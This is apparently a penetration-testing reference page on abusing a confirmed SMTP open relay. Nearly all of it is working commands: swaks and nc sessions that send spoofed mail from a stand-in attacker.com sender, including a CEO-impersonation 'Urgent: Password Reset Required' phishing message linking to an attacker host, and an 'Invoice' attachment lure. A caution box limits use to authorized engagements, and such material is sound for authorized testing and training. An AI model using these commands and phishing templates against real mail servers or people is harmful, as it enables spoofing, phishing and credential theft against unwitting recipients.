# SMTP Relay Exploitation

- **URL:** https://hackindex.io/services/smtp/exploitation/smtp-credential-bruteforce
- **Path:** SMTP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/smtp/exploitation.md)
- **Published:** 2026-03-29
- **Updated:** 2026-07-10

## SMTP Relay Exploitation

A confirmed open relay allows sending mail through the target's trusted mail infrastructure as any sender, to any recipient. Mail delivered through a legitimate server bypasses many spam filters and appears more credible to recipients than mail from an unknown IP. Confirm the relay condition first through [open relay testing](https://hackindex.io/services/smtp/vulnerability-discovery/smtp-open-relay) before using this page.

- Send Test Mail with swaks
- Send with Spoofed Sender and Custom Headers
- Send via STARTTLS
- Send with Attachment
- Manual Relay via nc

> [!CAUTION]
> Only send email through relay servers on targets you have explicit written authorization to test. Sending unauthorized email through third-party infrastructure is illegal in most jurisdictions regardless of engagement scope.

## Send Test Mail with swaks

swaks is the most capable tool for SMTP relay testing. It handles STARTTLS, custom headers, attachments, and full session logging in a single command:

```bash
swaks --to $USER@$DOMAIN --from attacker@attacker.com --server $TARGET_IP --port 25
# === Trying 10.10.10.50:25...
# === Connected to 10.10.10.50.
# <-  220 mail.company.com ESMTP
#  -> EHLO kali
# <-  250-mail.company.com
#  -> MAIL FROM:<attacker@attacker.com>
# <-  250 2.1.0 Ok
#  -> RCPT TO:<user@company.com>
# <-  250 2.1.5 Ok
#  -> DATA
# <-  354 End data with <CR><LF>.<CR><LF>
#  -> .
# <-  250 2.0.0 Ok: queued as A1B2C3
```

## Send with Spoofed Sender and Custom Headers

Craft a convincing email with a spoofed From address and a custom subject. On an open relay the MAIL FROM and the From header can differ: the header is what the recipient sees:

```bash
swaks --to target@victim.com --from ceo@$DOMAIN --server $TARGET_IP --port 25 --header 'Subject: Urgent: Password Reset Required' --header 'From: CEO <ceo@$DOMAIN>' --body 'Please reset your password at http://LHOST/reset'
```

## Send via STARTTLS

Use STARTTLS when port 587 requires encryption. swaks handles the upgrade automatically:

```bash
swaks --to $USER@$DOMAIN --from attacker@attacker.com --server $TARGET_IP --port 587 --tls
```

## Send with Attachment

Attach a file to the relay test message. Useful for confirming attachment filtering and AV scanning on the relay:

```bash
swaks --to $USER@$DOMAIN --from attacker@attacker.com --server $TARGET_IP --port 25 --header 'Subject: Invoice' --attach /tmp/invoice.pdf
```

## Manual Relay via nc

When swaks is unavailable, send manually via nc for a controlled interaction:

```bash
nc -nv $TARGET_IP 25
# 220 mail.company.com ESMTP
```

```
EHLO attacker.com
MAIL FROM:<ceo@company.com>
RCPT TO:<employee@company.com>
DATA
From: CEO <ceo@company.com>
To: Employee <employee@company.com>
Subject: Urgent Action Required
Date: Mon, 28 Mar 2026 12:00:00 +0000

Please review the attached document immediately.
.
QUIT
```

## References

- [swaks](https://github.com/jetmore/swaks) - Swiss Army Knife SMTP: full-featured SMTP testing tool